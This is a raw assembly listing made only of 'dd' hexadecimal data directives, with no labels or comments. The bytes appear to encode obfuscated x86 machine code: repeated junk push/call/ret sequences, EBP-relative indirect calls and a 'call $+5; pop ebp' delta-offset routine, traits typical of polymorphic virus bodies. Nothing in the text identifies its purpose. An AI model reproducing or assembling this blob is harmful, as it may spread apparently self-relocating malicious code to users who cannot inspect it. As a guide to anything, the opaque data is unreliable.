		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0CF781E5h
		dd 2439B529h, 858D0603h, 606A734h, 880Fh, 89500000h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 99945CC3h, 0D499129h, 0C38166B6h, 95FF6568h,	6031405h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0BEC35141h
		dd 12E9F6h, 1E6B0000h, 0A9EF89B8h, 81C29228h, 7985EC36h
		dd 25198A14h, 1A39B531h, 23610603h, 31A2DBDh, 0BD85C706h
		dd 3060321h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 85D7C356h, 1D7A8232h
		dd 0ECDB814Fh, 83194AE0h, 6A734BDh, 840F0006h, 50h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 75C35646h, 5E2743F5h
		dd 0C4C38166h, 2D858930h, 0E9060304h, 3Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 8CC35545h, 47AC1104h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 9C08B00h
		dd 305D59Dh, 0BDBD8306h, 3060321h, 3C2850Fh, 0D98B0000h
		dd 0A734BD83h, 0F000606h, 3B384h, 6850F00h, 8B000000h
		dd 323599Dh, 34B5FF06h,	6A0606A7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 88DDC356h
		dd 9CB33DADh, 2E0595FFh, 9D8B0603h, 6030FF5h, 0A728B58Bh
		dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 94CBC0C3h, 68151E3Eh, 0C79C04E9h,	1000106h
		dd 8DBF6600h, 0C9E3807Fh, 36BE6096h, 6141ED99h,	6840F50h
		dd 0F000000h, 8Ch, 25BB9600h, 0FF4FE59Fh, 6A734B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 1CCC1331h, 36A1D62Bh, 5BD294Ch, 0FF06030Ch, 32F1995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0C04D20C5h, 496F0043h, 0D9BF0F03h, 0A728B58Bh
		dd 31600606h, 331C9BDh,	0F1806006h, 8DBD0B06h, 61060324h
		dd 1D858B61h, 81060331h, 0E98221EBh, 0C486894Dh, 8B000000h
		dd 31A1D9Dh, 519D0106h
		dd 8B060331h, 331D195h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0C2833F92h, 28E0F04h
		dd 8B000000h, 205089DFh, 0B8C4BF66h, 0BBF3858Dh, 85310606h
		dd 6032625h, 0B88689h, 9D8B0000h, 6032E45h, 9E8006Ah, 0C3000000h
		dd 16363A5h, 85200DBBh,	84C153BFh, 0B5FF5F31h, 606A734h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 31C35040h
		dd 8CAE6F4Fh, 850FE286h, 6, 2C019529h, 95FF0603h, 6031CB1h
		dd 0CCC78166h, 506050C2h, 8D0F52h, 0F000000h, 0CABE6631h
		dd 0BF585AC7h, 433C9BF5h, 24348961h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 8C35545h, 76479775h, 81FA8B66h
		dd 6FA9CCD7h, 34B5FF14h, 6A0606A7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 5EF5C350h
		dd 8B00D7B9h, 30CD19Dh,	6595FF06h, 66060311h, 833339BFh
		dd 31795BDh, 840F0006h,	39h, 96DBB70Fh,	0C458BB50h, 6A9616EEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0CFA3C356h, 5F69075Fh, 0FCD0DCF1h, 8B19C780h
		dd 304E5BDh, 34B5FF06h,	6A0606A7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EB81C357h
		dd 0CCF69BB0h, 9A49C411h, 22C672BFh, 6195FF2Fh,	6A060306h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 4C73C356h, 8B5FA332h, 14288ECh, 313EDB5h
		dd 34B5FF06h, 6A0606A7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 1F6AC356h, 0ACA8A110h
		dd 0FFFE8B2Ch, 30AE195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6860F16h, 31000000h, 311BD8Dh
		dd 8DBD8306h, 2060321h,	38840Fh, 8B660000h, 0FD858BF9h
		dd 6A060301h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 2CCEC352h, 1FA8CF81h, 0BF667677h
		dd 0C61B05h, 54BCBB00h,	85C717C4h, 60330B9h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7C35040h
		dd 9D89BD82h, 6030455h,	0FFF340E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 5BE5D32Ah
		dd 0D29A5D8Ch, 8E9h, 68690600h,	960D29CDh, 8AC18BDBh, 0C5BD8BDDh
		dd 8D06031Ch, 3281185h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 5760ADA5h, 1B19BD89h
		dd 895E0603h, 32D719Dh,	9D8B6106h, 6032AA9h, 0BB665090h
		dd 0F904143h, 582h, 0E7816600h,	6AA2BAh, 8DB58B60h, 2906031Eh
		dd 31ADD85h, 6A6106h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Dh, 38C35141h, 6DD7FCCAh,	6AECED29h, 0D9D8BBDh
		dd 8D060321h, 7D66885h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 7224AD4h, 83504AB2h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F396EC3h, 289h, 50DA8B00h, 489F98Ah, 0EFEF8124h, 6A16887Ah
		dd 0FE900h, 0F52D0000h,	486D64EBh, 18725AA5h, 977769AFh
		dd 6AFE8A59h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 6E4FCA3Dh, 0B5943815h, 0BD8B71E4h
		dd 6031F05h, 0FFF98B66h, 30CC995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 7ECC95C3h
		dd 51A18EFEh, 20DBD8Bh,	8D5B0603h, 697478Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0DB8038C7h, 6AD1FF27h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1B12C352h, 0DABF0F3Ah
		dd 1E91BD83h, 0F010603h, 6B85h,	11858900h, 6A060302h, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8B586D34h, 0B85D627h, 28758D89h, 8B500603h, 240489D8h
		dd 1CB195FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0A3D8ACC3h, 7B70FCBDh, 7E9h, 0C7C0B100h
		dd 507B9DB7h, 0D6CE9h, 0E800h, 815D0000h, 7D672EDh, 0E9858906h
		dd 6A06032Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 725FC356h, 0F65456Bh, 685h, 0C68B6000h
		dd 8D615951h, 6888985h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 50AA3D23h, 0FF28B60h
		dd 680h, 8D0F00h, 61000000h, 6A240489h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0E416C353h
		dd 8E956D8h, 33000000h,	0EF773182h, 5BD9C197h, 35FF64h
		dd 66000000h, 9D42EF81h, 258964h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0C52C351h, 0DD71C78h, 0A96FBF66h, 0A880Fh, 0B1600000h
		dd 0B1B58976h, 61060309h, 2A1585FFh, 0FF6A0603h, 6E9h
		dd 0F64A5000h, 0FF71531Dh, 3324DB5h, 8CCEBB06h,	95FF6236h
		dd 6032015h, 12DE9h, 51EF8100h,	66373826h, 0B0F88Bh, 0DE9h
		dd 0D636DB00h, 94875606h, 0B373EB5Ah, 70E69510h, 7E9h
		dd 3A94A700h, 0E61EB1D8h, 5D25BB66h, 0BB6671E4h, 0BF667713h
		dd 613C9608h, 0EC830Fh,	0BD010000h, 6032E25h, 5E8h, 5FC7D800h
		dd 9529150Fh, 6032D3Dh,	0C8B60F5Bh, 90DF8166h, 0F8BF0FFEh
		dd 6BAh, 0B5896000h, 6030081h, 8B6162B1h, 0C1D88BC1h, 816604E8h
		dd 662AF5F7h, 0BB66E2F7h, 0C82B0DFDh, 66D18BF9h, 9BE9DA8Bh
		dd 89000000h, 31CB58Dh,	69958906h, 8B060309h, 485h, 4EF2BB00h
		dd 0C08312A2h, 0EACABB07h, 0C08376A0h, 0D99D8B00h, 3B060331h
		dd 0F830FD0h, 89000000h, 32559BDh, 60E906h, 0BB660000h
		dd 8D8B9DADh, 0FFFFFFFFh, 12E9h, 5599F800h, 3D193232h
		dd 0CCC16018h, 0B2BA78CAh, 83A5C05Fh, 840F01E1h, 36h, 9E9h
		dd 0A6004400h, 10A70EEAh, 0A583BD99h, 0FFFFFFFFh, 6E9FEh
		dd 0A8740000h, 9E427F89h, 49589h, 95890000h, 6030CA5h
		dd 2D40C2BBh, 0E952h, 0B58D0000h, 60754A7h, 68B0F60h, 31000000h
		dd 30F3D95h, 9AB86606h,	6A61B5h, 28B0Fh, 0DF8B0000h, 1FB995FFh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 403A6CC3h, 957F52E4h, 893CB7E0h, 32ECD95h
		dd 1084B906h, 860F0000h, 5, 7EE38166h, 0FCE18317h, 28259589h
		dd 0FFC0603h, 0C02BFABFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 63C35646h, 0E9E17837h, 0E8A526B3h, 0F7BB6628h
		dd 0BA03h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9D8BEFC3h, 60313DDh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 83C35343h, 0D316A3DBh, 0C84554D1h, 559D015Ch
		dd 29060322h, 311F1B5h,	0E7E38106h, 0D74B6E5h, 88h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2BC35545h, 0A29F5524h
		dd 858B6050h, 6031F69h,	2279B58Bh, 5F610603h, 1E51B529h
		dd 958B0603h, 60331D1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 36C35545h, 0FF6B1C0Ch, 0AE985h, 6E70000h
		dd 6F37E015h, 56A1F6E6h, 1E18D8Bh, 6A0603h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 58BADEC3h
		dd 0FE8BD27Eh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0B7BB5818h, 6A14EA6Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0C336C351h,	19FFCFh
		dd 0DEBF0F65h, 1D65BD83h, 0F000603h, 0BA84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 2D9D09FCh, 0BF060313h, 4948B8h, 0B8h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 7EEED8B1h, 0E9EAE3A8h, 0Ch, 964F6285h, 0E8C06C35h, 35A223BDh
		dd 4D1C8D8Dh, 0EE90603h, 73000000h, 29A52139h, 9B4C6A95h
		dd 0EE580AD2h, 0CE857FEh, 0A9000000h, 81B57BE0h, 3EBBBC27h
		dd 0BB1329FBh, 7888324Ch, 0E1FF5B5Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0BAC35141h,	0DEFAE468h, 8166BA26h
		dd 83167EEFh, 321BDBDh,	840F0006h, 3E6h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 47C35646h, 0F88A61D5h
		dd 21BDBD83h, 0F010603h, 3D484h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 5FEF8F22h
		dd 898EC367h, 3243195h,	0BDBD8306h, 3060321h, 369860Fh
		dd 0BD8B0000h, 6031C59h, 49B52960h, 66060326h, 8166D98Ch
		dd 803787C3h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0FA77D6C3h, 0B7E3E36Fh, 8973F4C9h
		dd 3234195h, 0FC90A06h,	13A84h,	499D8B00h, 8B060329h, 313C185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 5185D46Fh, 853309C4h, 6031C79h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 5790F974h
		dd 5BFB8B66h, 0BB525050h, 730C1AFAh, 0FE9310Fh,	0DE000000h
		dd 0F7B22B6h, 878EECF1h, 0FC5C079Ch, 585A45E1h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 4EFBA50Bh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 9ADFCC3h, 992E7378h, 68E2DF80h
		dd 0CF867CB3h, 6E95160h, 47000000h, 19C04300h, 81615B13h
		dd 874C2404h, 6A3098h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 816675C3h, 0FF314BC7h, 3140595h
		dd 0B8DB8106h, 896CAECAh, 6A73485h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 96E9DB88h
		dd 0F000001h, 688h, 0D9D8900h, 8B060328h, 6A72C85h, 0DA8B6606h
		dd 1800C7h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 140424h, 50400000h, 0CF81C3C3h, 195BC334h, 0A730B58Bh
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0E33B2EC3h, 6B7C9FCFh, 599D8B9Fh,	6606031Ah
		dd 8BD01EBFh, 3128D85h,	25BD8906h, 8906030Bh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 559D893Eh, 50060302h, 0C91BD8Bh, 8B5F0603h, 313C185h
		dd 0B9BD8B06h, 8906030Fh, 0BD890446h, 6031799h,	8870F96h
		dd 0F000000h, 28Eh, 50616000h, 5E8h, 71FE0B00h,	52504F63h
		dd 800Fh, 310F0000h, 585A6160h,	8D89965Fh, 603175Dh, 0A72CB5FFh
		dd 81660606h, 684583EFh, 141FC3ECh, 3481A8B3h, 0C01324h
		dd 34858D14h, 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 791CC353h, 0BD9D311Dh
		dd 50060320h, 0CE8h, 0A17F900h,	0C9583EBh, 0E9B96805h
		dd 0DA8B66BBh, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0DAC35040h, 0EB81661Bh, 95FFF2A0h, 6031405h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3BC35747h
		dd 897FA85Ah, 3138585h,	0B70F6106h, 0BD85C7FAh,	3060321h
		dd 81000000h, 0A9BC8DCFh, 34BD837Bh, 606A7h, 39840Fh, 14E80000h
		dd 17000000h, 748EDB40h, 0BDF2E84Fh, 9AB52A75h,	0ED5A6E3Ah
		dd 0F3AA3DFh, 28Fh, 5B5B5200h, 2DE9h, 8C0F5700h, 2, 605F5F50h
		dd 68D958Bh, 50610603h,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8D89B3C3h, 603010Dh
		dd 7761BF66h, 21BDBD83h, 0F030603h, 3FE85h, 34BD8300h
		dd 606A7h, 3F1840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 2CEA8CC3h, 0FFFFB70Fh
		dd 6A734B5h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 9807E8EAh, 44239F5Ch, 8F8BF51h, 13E80CCDh
		dd 26000000h, 0B47E623Ah, 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh
		dd 860FAE95h, 6, 0B7D8509h, 0FF5F0603h,	32E0595h, 850F06h
		dd 8B000000h, 6A728B5h,	69853106h, 0C706032Ah, 1000106h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 33895F71h, 312699Dh, 0B5B58906h,	50060330h
		dd 51605250h, 310F615Eh, 68EEBF66h, 3489585Ah, 0F3816624h
		dd 0B5FFBB23h, 606A734h, 80FFB70Fh, 95FF1BD7h, 6032F19h
		dd 56BE781h, 0B58B5EDFh, 606A728h, 0C547BB66h, 311D858Bh
		dd 0BD8B0603h, 6030B25h, 0C48689h, 8B600000h, 0B19D8BDEh
		dd 61060326h, 10E9h, 530A6F00h,	1184EAB4h, 0D6E5742Ch
		dd 292D26ABh, 0D1958BADh, 0E8060331h, 6, 50F5F0B4h, 9589638Eh
		dd 6031031h, 4C2835Fh, 0FE9h, 74ACD000h, 0CA232565h, 0C5545175h
		dd 53D47DBAh, 0E9205089h, 7, 6779F64Eh,	8D3E140Dh, 6BBF385h
		dd 0F7816606h, 86892043h, 0B8h,	240DBD33h, 81660603h, 6AC0E5D3h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 811A8BADh, 1D9BED5Eh, 35852926h,	0F06032Ah
		dd 681h, 0DD9D8B00h, 0FF060313h, 6A734B5h, 72BB6606h, 0B195FFC6h
		dd 8906031Ch, 3035585h,	96509606h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 22C35141h, 3C239731h, 24C287A4h
		dd 9F5BD31h, 0B5FF0603h, 606A734h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0E8C35141h,	2268C811h, 89FBBF0Fh
		dd 31A1195h, 6595FF06h,	0B3060311h, 0BD83F5C7h,	6031795h
		dd 3C840F00h, 0E9000000h, 12h, 40BD5F05h, 71C9FA01h, 0AF69F7D4h
		dd 6BC61FB0h, 0BB505749h, 49A0111Bh, 89243489h,	30331BDh
		dd 0AE806h, 7F2F0000h, 982142E8h, 5FFEB66h, 0DE68CF81h
		dd 0FF5B0EACh, 6A734B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 313E517Fh, 603329DBh
		dd 66CE8B66h, 61357DBAh, 66195FFh, 6A0603h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 51BFFFC3h
		dd 1E17FFEh, 32AF58Dh, 5E906h, 2CC10000h, 0FF924844h, 6A734B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0E6D7EF37h, 8BA87CEEh, 323A5BDh,	0E195FF06h
		dd 6A06030Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 4C31C356h, 8B151308h, 31210DA2h
		dd 1ABDBD8Bh, 29600603h, 313DDB5h, 958B5006h, 60305ADh
		dd 0BD83615Bh, 603218Dh, 4F840F02h, 60000000h, 244CBBB8h
		dd 10E916h, 0A7CF0000h,	0F6D2AF9Bh, 80F986F5h, 19983A54h
		dd 8B6142FBh, 301FD85h,	399D8B06h, 0C6060300h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0E2AD37C3h, 0B50245F6h, 85C7C502h, 60330B9h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0BFC35040h
		dd 55A615D4h, 12E9h, 0A38E9000h, 250583DBh, 75C2BE03h
		dd 0C90BC1D9h, 0E9F8B500h, 0FFFFF3AEh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 92C35040h, 5C930BC3h, 33C18B48h
		dd 30469BDh, 11858D06h,	0F060328h, 6690D8B7h, 6650FA8Bh
		dd 6A90DA8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 74D3C353h, 0A19B51F2h,	0A7E82ABBh
		dd 89006A6Ch, 321998Dh,	0BB006A06h, 5A680B65h, 0E55E858Dh
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD8B18C3h, 6032341h, 8B05C083h, 665790DFh
		dd 505BFA8Bh, 820Fh, 66900000h,	7E64E781h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0DEE026C3h, 8B66006Ah, 0C995FFFAh, 8906030Ch, 3117195h
		dd 478D8D06h, 6A060697h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 239EC356h, 32EA9BDh
		dd 83D1FF06h, 31E91BDh,	850F0106h, 96h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 82C35545h, 67BC13E1h
		dd 40938F16h, 79BD8B87h, 6A060331h, 75950902h, 90060304h
		dd 9E9h, 14D6E400h, 0C6054A49h,	0B3507E11h, 6A9082h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0E25549C3h, 667B1D8Eh, 0FFB52DBFh, 31CB195h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F85BB1BFh, 2A2DBD8Bh, 60E90603h, 0E800000Eh, 0
		dd 68ED815Dh, 6A0607E5h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F742C352h,	0F8078817h
		dd 0BBC51083h, 6EFC353Dh, 80DF8166h, 89858D15h,	6A060688h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 86EFC351h, 0A0CDE993h, 0D830F97h,	0E9000000h
		dd 8, 98E1694h,	0E383F99Bh, 1AC59589h, 56900603h, 5FBB505Bh
		dd 903ACC3Fh, 2D65BD89h, 0FF640603h, 35h, 0E5BD8B00h, 64060322h
		dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 9498CFC3h, 6CD88F55h, 8D8978D5h
		dd 6031065h, 2A1585FFh,	6A0603h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 52C1EEC3h, 60D7E8DAh
		dd 8E9h, 1635E000h, 0FE83FE8Dh,	0FEBF0FB9h, 0FE961h, 0D4160000h
		dd 9604BB32h, 9AB1FC0Ch, 0F83472FEh, 0FFFF6A26h, 31A15B5h
		dd 6810F06h, 8B000000h,	3062D9Dh, 1595FF06h, 0E9060320h
		dd 10Dh, 0B0DE8Bh, 6800Fh, 0BD890000h, 6031349h, 0F70E6F5h
		dd 89h,	2971E400h, 31035B5h, 9E806h, 9F170000h,	454BAE74h
		dd 0BBD6B885h, 4B6D511Bh, 0F613C5Fh, 0D083h, 0AE800h, 0BAC0000h
		dd 0DB22D68Ah, 4BD4D5A0h, 5BDEBF0Fh, 66C8B60Fh,	6BAD98Bh
		dd 8B000000h, 859D8BC1h, 0C106031Dh, 0B58904E8h, 60309D5h
		dd 23E2F766h, 30A79BDh,	81C82B06h, 0FD36A6EFh, 8BD18B09h
		dd 3240D9Dh, 83E906h, 0BD8B0000h, 60331BDh, 4C44858Bh
		dd 0B5895F4Ch, 6031E45h, 6607C083h, 9D8BDF8Bh, 60325D1h
		dd 3B00C083h, 11830FD0h, 1000000h, 32D719Dh, 9DBF6606h
		dd 4BE939h, 0DA8B0000h,	0FFFF8D8Bh, 8960FFFFh, 31D0995h
		dd 9CBA6606h, 950961D6h, 6031305h, 0F01E183h, 2884h, 65BD3100h
		dd 83060324h, 0FFFFFFA5h, 8166FEFFh, 8955B2E3h,	4C4C4495h
		dd 0BF0F605Fh, 0D9529FBh, 6106031Bh, 0E9h, 2BB58D00h, 66060765h
		dd 8B0EF6BFh, 6A006AFBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 54C9C355h, 0FB315E7Dh
		dd 0ADB47C7Ah, 9D32C781h, 95FF40BCh, 6031FB9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9C35747h, 0E3A3A8Eh
		dd 12E877h, 0FD010000h,	986EE83Bh, 33F5E5EDh, 0A83C07BCh
		dd 1480B9E1h, 0A29BD89h, 0B95F0603h, 1064h, 819D8Bh, 0E1830603h
		dd 6AFCF9FCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0BEBBC350h, 92282CAh, 3012D8Dh
		dd 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0CA961AC3h, 0BAh, 0D59D2300h, 6606032Bh
		dd 0ADC1B9BBh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0F84CC352h, 2AC2050Eh, 160315Ch, 331B59Dh, 0D9BF0F06h
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0AB77DD40h, 6F3D8671h, 880Dh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 99B6F7DBh, 0EEB2C3ABh, 0F98B2150h, 31D1958Bh, 85B30603h
		dd 1E18D8Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 47995AC3h, 7F8E34D8h, 1BA59D23h
		dd 95890603h, 6031789h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 720A0CC3h, 0F9856C68h, 0F501B45h
		dd 68Ch, 0ED952900h, 5F06031Fh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C5C35242h,	0F2057E95h, 66CEC658h
		dd 0BD83F98Bh, 6031D65h, 69840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0B8E9C352h, 0
		dd 651B529h, 8D8D0603h,	6034D1Ch, 14E8h, 0BEBFA600h, 281957E6h
		dd 3CA4E3E2h, 0D02ADD7h, 61BF4F81h, 58CF8154h, 5B656C93h
		dd 8960E1FFh, 311598Dh,	6E806h,	0DEEC0000h, 1F952C20h
		dd 30419D89h, 615B0603h, 21BDBD83h, 0F000603h, 49384h
		dd 0BFD98A00h, 657B4690h, 21BDBD83h, 0F010603h,	49A84h
		dd 0A4FEBB00h, 0BD8324B2h, 60321BDh, 52860F03h,	29000004h
		dd 30C798Dh, 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0A23863C3h, 68C0Fh, 0E7810000h
		dd 39158DC8h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 676EC357h, 92E39028h
		dd 0B4C9773Bh, 118C0F57h, 0E8000000h, 0Bh, 297DC1D3h, 946FD55Dh
		dd 5F616122h, 0DB81665Fh, 0E1809563h, 52006A04h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 94B31768h, 11958B60h, 8B060306h, 0C90A61F9h,	17D840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0F694E3C3h, 9D299A77h, 6032EB1h, 1381BD03h
		dd 858B0603h, 60313C1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
